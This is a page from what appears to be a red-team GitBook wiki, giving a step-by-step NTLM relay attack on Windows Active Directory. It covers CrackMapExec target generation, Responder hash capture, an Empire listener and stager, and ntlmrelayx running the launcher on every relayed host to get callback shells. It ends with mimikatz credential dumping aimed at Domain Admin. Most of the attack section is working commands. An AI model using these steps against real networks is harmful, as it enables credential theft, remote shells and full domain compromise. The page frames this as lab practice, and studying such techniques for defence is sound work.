BUILDING A LAB
Building a lab
Preparing Kali
Building a small lab
Building a lab with ESXI and Vagrant
Cuckoo malware analysis lab

INITIAL ACCESS
Password spraying
Initial access through exchange

ENUMERATION
Powershell
BloodHound
PowerView
Azure enumeration

EXECUTION
Pass the hash
Responder with NTLM relay and Empire
DeathStar
CrackMapExec

PRIVILEGE ESCALATION
Mimikatz
Token Impersonation
Juicy Potato
ALPC bug 0day

DEFENSE EVASION
Bypassing Applocker and Powershell contstrained language mode
From RDS app to Empire shell
Stealth

OTHER
Link encyclopedia
Writeups
War stories

CREDENTIAL ACCESS
Password cracking and auditing

COMMAND & CONTROL
SILENTTRINITY

Powered by GitBook

Responder with NTLM relay and Empire

byt3bl33d3r has written some good guides on this attack. See b3t3bl33d3r's guide

NetNTLMv2 is microsoft's challenge and response protocol. When authenticating to a server the user's hash followed by the server's challenge is used. With relaying hashes you simply take the NetNTLMv2 hash you collected and relay it to a set of hosts and hopefully the user(s) have administrator access. Then you execute a payload and woop de doo you have an admin shell.

In a windows AD environment 9 times out of 10 all the workstations share the same local administrator password. You might be really lucky and both hosts and servers share the same local administrator password as well. At that point it becomes a discovery mission for where the domain admins are logged in.

Before we can do that we must generate a list of hosts in the domain suspectible to our attack. That is indicated by SMB-signing being disabled, which is default in most Windows OSs, except the Server.

Execute this from the CrackMapExec package:

```
cme smb <CIDR> --gen-relay-list targets.txt
```

Where the CIDR is your domain subnet. This generates a list of hosts which have SMB-signing disabled. The Server versions of Windows have SMB-signing enabled so you can't relay to that one. Also important is the fact that you can't relay to the host the request orginated from.

Responder

https://www.sternsecurity.com/blog/local-network-attacks-llmnr-and-nbt-ns-poisoning

Responder does not pick up on FQDN queries, but it does pick up on NetBIOS and LLMNR, because Windows boxes are very chatty. When Windows boxes try to authenticate to things like file shares they default to NetBIOS for queries. This occurs with the use of NetNTLMv2 hashes.

Responder captures these NetNTLMv2 hashes. You can not pass the hash with these but you can crack them or you can relay them to other machines. This part will only explain how to run Responder and capture hashes.

Start Responder

```
Responder -I eth0 -wrf
```

Where -I is for interface and eth0 is your interface. The -wrf is optional, but -f is useful as it fingerprints the OS version. The other options are explained with -h.

To try this out in your lab, open explorer on a Windows machine and type `\\share\` in the address bar and wait for the credential prompt. This will trigger a name resolution request over SMB to find a resource using the current account's credentials. That should allow Responder to capture the NetNTLMv2 hash of the user making the request and print them in your terminal.

You can now crack the hashes using your favorite tool, but another alternative is relaying those hashes.

Now so far, Responder had set up an HTTP and SMB server to act as a middleman between the one requesting a resource and the file share. We now want to give our captured hashes to the tool NTLMrelay, so we edit `Responder.conf` to turn off the HTTP and SMB server.

After that is done, run Responder like before:

```
Responder -I eth0 -wrf
```

Empire

Now getting into Empire shouldn't be too hard if you are familiar with tools such as Metasploit. A short guide can be found here.

Start up Empire, open a listener and create a so called stager, point it to your listener. The generated output is your payload. Note that this kind of output is normally picked up by antivirus in real environment.

```
./empire
uselistener http
set Port 81
execute
back
usestager multi/launcher
set Listener http
generate
agents
```

NTLMrelay

Now perform the actual relaying using ntlmrelay from the Impacket library.

```
ntlmrelayx.py -tf targets.txt -c <insert your Empire Powershell launcher
```

Now copypaste the payload from Empire into the NTLMrelay command above. This will execute the payload for every box it relays to and it should be raining shells very soon. You will see a message in Empire saying it got an agent when it's successful. You will also see hashes written in the terminal while it's running.

Back to Empire

Now in my lab environment I have had some trouble where agents are not always spawned or hashes are not captured. Here's what you can try:

- Trigger a few requests from the Windows machines using the `\\share\` trick.
- Restart all the tools.
- Reset Empire's database.
- Reboot the Windows machines.
- Execute the payload from cmd inside a Windows computer to check if it's actually working. (You should get an agent instantly).

Ok, so you have an agent now. Sometimes the interaction with agents in Empire agent can be painstakingly slow, so have some patience when running commands. Try whoami, sysinfo and other basic commands. Sometimes, the agents timeout and you'll have to spawn new ones. Kill and/or remove old ones using `kill` and `remove`.

Once you have administrator access to a box you can run mimikatz, which is bundled with Empire. If you're lucky you'll get DA credentials in plaintext, because as previously explained Windows stores those in memory. If you have a local administrator hash on the hosts you can use CrackMapExec to do a mass mimikatz. Basically what it does is a pass the hash on multiple hosts, runs the mimikatz sekurlsa::loggonpasswords and returns output. Hopefully one of them is a DA and game over. Now this might be a bit confusing so lkys37en explained this the following way:

> Say you're an IT administrator. You're logged into your workstation and your account has domain admin rights. I come along and pop a admin shell on another workstation. I grab the hash and do a pass the hash with the local administrator account to your box and then run mimikatz. If you're running Windows 7 and 8 I'll get the NTLM hash and plaintext credentials. If you're running Windows 8.1 and above I only get the NTLM hash.

What this means is that you gain the local admin hash, and pass it to the DC which proves you are admin on DA, which allows you to do mimikatz and extract DA credentials. You're hoping the IT administrators used the same local administrator account on all workstations.

To check if the user is part of the Domain Admins group, run `net user "Domain Admins" /domain`

Now if you're so lucky that you're a DA you can start looking into lateral movement modules in Empire to get into the DC and have some fun.

Useful links https://blog.stealthbits.com/lateral-movement-with-crackmapexec/

Previous
Pass the hash

Next
DeathStar

Last updated 6 years ago